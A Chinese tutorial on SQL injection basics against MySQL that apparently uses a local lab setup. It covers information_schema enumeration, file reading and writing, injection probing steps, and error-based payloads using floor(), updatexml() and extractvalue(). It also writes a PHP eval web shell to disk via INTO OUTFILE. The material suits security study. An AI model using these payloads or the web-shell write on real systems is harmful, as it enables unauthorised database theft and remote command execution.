天天看点

SQL注入基础知识(2)SQL注入基础知识(2)

SQL注入基础知识(2)

SQL注入基础知识(1)

目录

  • SQL注入基础知识(2)
    • information_schema
    • information_schema常用内容:
      • 1. schemata表
      • 2. tables表
      • 3. columns表
    • 文件操作
      • load_file()
      • into outfile
      • SQL注入写文件的根本条件
    • SQL注入步骤
    • 报错注入(双查询注入):
      • floor函数报错查询
      • updatexml函数报错查询
      • extractvalue函数报错查询

information_schema

information_schema是MySQL自带的数据库。提供了对元数据的访问。其中包括:各个数据库的名称、表名、列名以及访问权限等。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.00 sec)
           

information_schema常用内容:

1. schemata表

提供了当前MySQL中所有的数据库信息。show databases的结果就是从此而来。

mysql> select schema_name from schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.00 sec)
           

2. tables表

提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。

tables表的部分列信息:

名称 描述
table_name 记录数据库中的表名
table_schema 记录表所属的数据库名

例如:

mysql> select table_name,table_schema from tables;
+----------------------------------------------+--------------------+
| table_name                                   | table_schema       |
+----------------------------------------------+--------------------+
| CHARACTER_SETS                               | information_schema |
| COLLATIONS                                   | information_schema |
| COLLATION_CHARACTER_SET_APPLICABILITY        | information_schema |
| COLUMNS                                      | information_schema |
| COLUMN_PRIVILEGES                            | information_schema |
| ENGINES                                      | information_schema |
| EVENTS                                       | information_schema |
| FILES                                        | information_schema |
| GLOBAL_STATUS                                | information_schema |
| GLOBAL_VARIABLES                             | information_schema |
| KEY_COLUMN_USAGE                             | information_schema |
| PARAMETERS                                   | information_schema |
| PARTITIONS                                   | information_schema |
| PLUGINS                                      | information_schema |
| PROCESSLIST                                  | information_schema |
| PROFILING                                    | information_schema |
| REFERENTIAL_CONSTRAINTS                      | information_schema |
| ROUTINES                                     | information_schema |
| SCHEMATA                                     | information_schema |
| SCHEMA_PRIVILEGES                            | information_schema |
| SESSION_STATUS                               | information_schema |
| SESSION_VARIABLES                            | information_schema |
| STATISTICS                                   | information_schema |
| TABLES                                       | information_schema |
| TABLESPACES                                  | information_schema |
| TABLE_CONSTRAINTS                            | information_schema |
| TABLE_PRIVILEGES                             | information_schema |
| TRIGGERS                                     | information_schema |
| USER_PRIVILEGES                              | information_schema |
| VIEWS                                        | information_schema |
| INNODB_BUFFER_PAGE                           | information_schema |
| INNODB_TRX                                   | information_schema |
| INNODB_BUFFER_POOL_STATS                     | information_schema |
| INNODB_LOCK_WAITS                            | information_schema |
| INNODB_CMPMEM                                | information_schema |
| INNODB_CMP                                   | information_schema |
| INNODB_LOCKS                                 | information_schema |
| INNODB_CMPMEM_RESET                          | information_schema |
| INNODB_CMP_RESET                             | information_schema |
| INNODB_BUFFER_PAGE_LRU                       | information_schema |
| d2eozn584m                                   | challenges         |
| columns_priv                                 | mysql              |
| db                                           | mysql              |
| event                                        | mysql              |
| func                                         | mysql              |
| general_log                                  | mysql              |
| help_category                                | mysql              |
| help_keyword                                 | mysql              |
| help_relation                                | mysql              |
| help_topic                                   | mysql              |
| host                                         | mysql              |
| ndb_binlog_index                             | mysql              |
| plugin                                       | mysql              |
| proc                                         | mysql              |
| procs_priv                                   | mysql              |
| proxies_priv                                 | mysql              |
| servers                                      | mysql              |
| slow_log                                     | mysql              |
| tables_priv                                  | mysql              |
| time_zone                                    | mysql              |
| time_zone_leap_second                        | mysql              |
| time_zone_name                               | mysql              |
| time_zone_transition                         | mysql              |
| time_zone_transition_type                    | mysql              |
| user                                         | mysql              |
| cond_instances                               | performance_schema |
| events_waits_current                         | performance_schema |
| events_waits_history                         | performance_schema |
| events_waits_history_long                    | performance_schema |
| events_waits_summary_by_instance             | performance_schema |
| events_waits_summary_by_thread_by_event_name | performance_schema |
| events_waits_summary_global_by_event_name    | performance_schema |
| file_instances                               | performance_schema |
| file_summary_by_event_name                   | performance_schema |
| file_summary_by_instance                     | performance_schema |
| mutex_instances                              | performance_schema |
| performance_timers                           | performance_schema |
| rwlock_instances                             | performance_schema |
| setup_consumers                              | performance_schema |
| setup_instruments                            | performance_schema |
| setup_timers                                 | performance_schema |
| threads                                      | performance_schema |
| emails                                       | security           |
| referers                                     | security           |
| uagents                                      | security           |
| users                                        | security           |
| student                                      | test               |
+----------------------------------------------+--------------------+
87 rows in set (0.00 sec)
           

3. columns表

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

columns表的部分列信息:

名称 描述
column_name 记录数据库中所有的列名
table_name 记录列名所属的表名
table_schema 记录列名所属的数据库名

例如:

mysql> select column_name from columns where table_name='users' and table_schema='security';
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
3 rows in set (0.01 sec)
           

文件操作

首先需要对配置文件my.ini进行编辑,在其中添加 secure_file_priv="" ,重启MySQL。

secure_file_priv是用来限制load data、select、outfile、loadfile传到哪个指定的目录

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入、导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入、导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入、导出做限制
  • 默认情况下,secure_file_priv的值为NULL,关闭了导入、导出的功能。
如何查看secure-file-priv参数的值:
show global variables like '%secure%';
           

load_file()

可以将文件中的内容作为字符串进行返回。

注意:在windows下,目录之间的分隔符要使用 \\ 或者 / 进行操作

例如:

mysql> select load_file('D:/hello.txt');
+---------------------------+
| load_file('D:/hello.txt') |
+---------------------------+
| hello,world!              |
+---------------------------+
1 row in set (0.00 sec)

mysql> select load_file('D:\\hello.txt');
+----------------------------+
| load_file('D:\\hello.txt') |
+----------------------------+
| hello,world!               |
+----------------------------+
1 row in set (0.00 sec)
           

into outfile

可以将查询到的结果作为内容写入到文件中

注意:在windows下,目录之间的分隔符要使用 \\ 或者 / 进行操作

mysql> select '<?php @eval($_POST["cmd"]);?>' into outfile 'D:/test.txt';
Query OK, 1 row affected (0.00 sec)

mysql> select load_file('D:/test.txt');
+--------------------------------+
| load_file('D:/test.txt')       |
+--------------------------------+
| <?php @eval($_POST["cmd"]);?>  |
+--------------------------------+
1 row in set (0.00 sec)
           

outfile中,最终的文件名要是没有建立的文件。

在写字符串时,要注意单引号和双引号的使用,避免字符串提前闭合导致的报错。

SQL注入写文件的根本条件

  1. 对web目录具有读写权限
  2. 知道web文件绝对路径
    • 使用@@datadir进行查询
    • 通过百度查找常见web路径
  3. 在SQL注入的时候能够使用联合查询

SQL注入步骤

  1. 判断是否有注入点
  2. 判断闭合字符
    • 数字型SQL注入
    参数 页面显示
    id=1’ 页面异常
    id=1 and 1=1 --+ 页面正常
    id=1 and 1=2 --+ 页面异常
    • 单引号字符型SQL注入
    参数 页面显示
    id=1‘ 页面异常
    id=1’ and 1=1 --+ 页面正常
    id=1’ and 1=2 --+ 页面异常
    • 双引号字符型SQL注入
    参数 页面显示
    id=1" 页面异常
    id=1" and 1=1 --+ 页面正常
    id=1" and 1=2 --+ 页面异常
    • 有时候还可能碰到 (‘1’)、(“1”)、((‘1’))、((“1”)) 等情况,要多进行尝试。
  3. 判断当前页面中SQL语句的查询列数

    通过使用order by来进行列数的判断

    例如:

    参数 页面显示
    id=1 order by 4 --+ 页面正常
    id=1 order by 5 --+ 页面异常
    结论:当前语句查询了4列
  4. 判断数据在页面中的回显位置和SQL语句中回显位

    通过使用database()、user()、version()等函数,进行回显,定位可显示有用信息的位置。

  5. 判断当前页面连接的数据库名称
  6. 判断数据库中的表名称信息
  7. 判断数据库表中的列名称信息
  8. 获取数据库表中的各个字段内容

报错注入(双查询注入):

floor函数报错查询

构造方法:

and (select 1 from (select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+

修改concat中的 select database()即可进行报错注入

updatexml函数报错查询

updatexml(目标xml文档,xml路径,更新内容)
           

构造方法:

and updatexml(1,concat(’~’,(select @@version),’~’),1) --+

修改concat中的select @@version即可进行报错注入

extractvalue函数报错查询

extractvalue(目标xml文档,xml路径)
           

and extractvalue(1,concat(’~’,(select @@version),’~’))

修改concat中的select @@version即可进行报错注入